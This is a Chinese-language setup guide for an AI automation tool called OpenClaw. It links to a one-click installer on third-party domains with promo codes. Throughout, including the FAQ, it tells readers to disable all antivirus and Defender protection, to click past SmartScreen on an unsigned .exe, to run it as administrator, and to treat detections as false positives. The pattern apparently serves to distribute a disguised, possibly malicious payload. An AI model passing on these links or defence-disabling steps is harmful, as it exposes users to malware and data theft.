OpenClaw 小龙虾 AI 多系统适配安装 常见故障排查汇总
OpenClaw（因其小龙虾造型的图标被用户昵称为"小龙虾"）是 GitHub 上备受欢迎的开源本地 AI 助手，拥有超过 28 万星标。这款工具能够自动控制电脑操作、批量处理文档、实现浏览器自动化，轻松解决各类办公自动化需求，用户常将安装过程趣称为"养虾"。它完全基于本地离线运行，所有数据仅保存在用户设备上，从根源上确保了个人和办公数据的安全隐私。
本教程针对 Windows 11 和 macOS 系统进行了专项优化，重点解决权限不足、Defender拦截、中文路径报错、SmartScreen阻拦等高频问题。采用一键式安装设计，即使是零基础用户也能在10分钟内完成配置并立即使用。
📑文章目录
- 前言：安装 OpenClaw 必看说明
- 安装前重要提醒（绝大多数部署失败源于此步骤疏漏）
- 第一步：获取双系统专属一键部署资源包
- 第二步：规范解压部署文件（Windows 实操要点）
- 第三步：启动一键运行程序，绕过系统安全拦截
- 第四步：自动化安装与环境初始化（全程无需手动干预）
- 第五步：部署完成快速上手使用说明
- 双系统专属常见问题汇总（建议收藏备查）
- 文末总结与交流说明
🔍一、前言
OpenClaw 是当下热度居高不下的实干型本地 AI 自动化智能体，可在离线状态独立运行，不用依托外网、无需绑定各类云端账号，依靠 AI 逻辑自主完成全品类电脑操作。本次 v2.7.9 安装包内置整套运行环境、配套依赖库以及多系统适配配置，使用者不用单独配置 Python、Node.js 运行环境，也不用输入命令行代码，零基础人群也能顺畅完成整套部署。
⚠️二、安装前重要提醒（遗漏易导致部署失败）
正式开启部署前，需要临时关闭电脑全部安全防护程序，防止安装文件被安全工具误判风险，出现隔离、删除等问题：
- 360 安全卫士 / 360 杀毒软件
- 腾讯电脑管家
- 火绒安全防护软件
- Windows11 系统自带 Defender 实时防护功能
💡补充说明：OpenClaw 需要实现键鼠模拟操控、本地文件读写、浏览器进程管控能力，相关系统调用容易被安全软件标记为异常行为，属于程序固有运行特征；项目依托开源协议开发，整体运行环境安全稳定。
📥三、第一步：获取双系统专属一键部署资源包
Windows 版本部署包 v2.7.9：https://xiake.yun/api/download/package/18?promoCode=IVD643FDE29A
macOS 版本部署包 v2.7.9：https://openclaw.ikidi.top/api/download/package/35?promoCode=IVD643FDE29A
资源整体体积：45.7MB，下载完成后得到.zip格式压缩安装包。
📂四、第二步：正确解压文件（Win11 实操要点）
Windows11 自带解压工具极易出现文件损坏、权限不足问题，优先选用 WinRAR、7-Zip 专业解压软件。
解压操作步骤：
- 右键已下载 zip 压缩包
- 选中【解压到当前文件夹】
- 解压结束自动生成文件夹：
Openclaw-win
✅校验标准：解压目录内存在Openclaw Windows一键启动.exe（红色龙虾图标），代表文件解压完整无误。
macOS 端解压可使用系统归档实用工具，解压后按照对应平台指引启动程序即可。
▶️五、第三步：运行一键启动程序（解决 Win11 安全拦截）
Windows11 系统安全机制默认拦截无数字签名应用，出现安全弹窗时按以下步骤放行：
- 双击
Openclaw Windows一键启动.exe启动程序 - 弹出「Windows 已保护你的电脑」系统提示框
- 点击弹窗【更多信息】
- 选择【仍要运行】，即可正常打开安装引导界面
弹窗仅为系统常规安全提醒，并非程序存在安全隐患，可放心继续安装。
⚙️六、第四步：自动安装部署（全程无需手动操作）
- 进入程序欢迎界面后，点击【开始使用】跳转路径配置页面
- 路径设置硬性规则（Win11 强制规范）：安装目录必须使用纯英文命名，禁止出现中文、空格、特殊符号。✅推荐安装路径示例：
plaintext
D:\OpenClaw E:\AI\OpenClaw❌禁止使用路径示例：
plaintext
D:\软件\OpenClaw D:\小龙虾 C:\Program Files\OpenClaw- 选定合规路径，勾选用户协议后点击【开始安装】安装程序全自动执行整套流程：检测 Win11 系统运行环境→批量安装所需依赖组件→部署核心服务程序→配置系统运行权限→生成桌面快捷启动图标
⏱等待时长：3～5 分钟，安装进程中请勿随意关闭安装窗口。
🚀七、第五步：启动成功 & 快速使用指南
安装完毕软件自动弹出主界面，页面右上角显示「Gateway 在线」字样，即代表部署全部完成。直接在指令输入框下发需求，AI 自动执行对应操作，常用实操指令参考：
- 帮我整理 D 盘下载文件夹内全部图片文件
- 打开浏览器检索 AI 智能体相关行业趋势，并把结果整理保存为表格
- 批量对桌面全部文件进行分类归档
- 扫描本机冗余垃圾文件并执行清理工作
❗八、双系统专属常见问题（收藏备用）
- 安装弹窗提示权限不足：右键程序图标→选择【以管理员身份运行】再次启动（Windows）；macOS 前往隐私与安全性放行程序权限。
- Gateway 持续显示离线状态：关闭 Defender 实时防护；核查安装路径是否全英文；重启一键启动程序。
- 软件第一次启动加载缓慢：系统第一次运行需要初始化组件，等待 1～3 分钟属于正常现象。
- AI 无法操控鼠标、读写本地文件：开启系统对应辅助权限，以管理员权限启动 OpenClaw。
- 安装包文件被杀毒软件自动删除：临时关闭全部安全软件→重新解压压缩包→从头执行安装流程。
📝写在最后
OpenClaw 是一款本地 AI 工具，能自主完成各类电脑任务。它在 Windows 11 和 macOS 系统上运行流畅稳定，本地运行模式从根本上杜绝了隐私泄露风险。最新的 v2.7.9 一键部署包针对两大系统进行了深度优化，无捆绑软件、无弹窗广告，完美适配日常办公和自动化提效等多种使用场景。
再次附上资源获取地址：
Windows：https://xiake.yun/api/download/package/18?promoCode=IVD643FDE29A
macOS：https://openclaw.ikidi.top/api/download/package/35?promoCode=IVD643FDE29A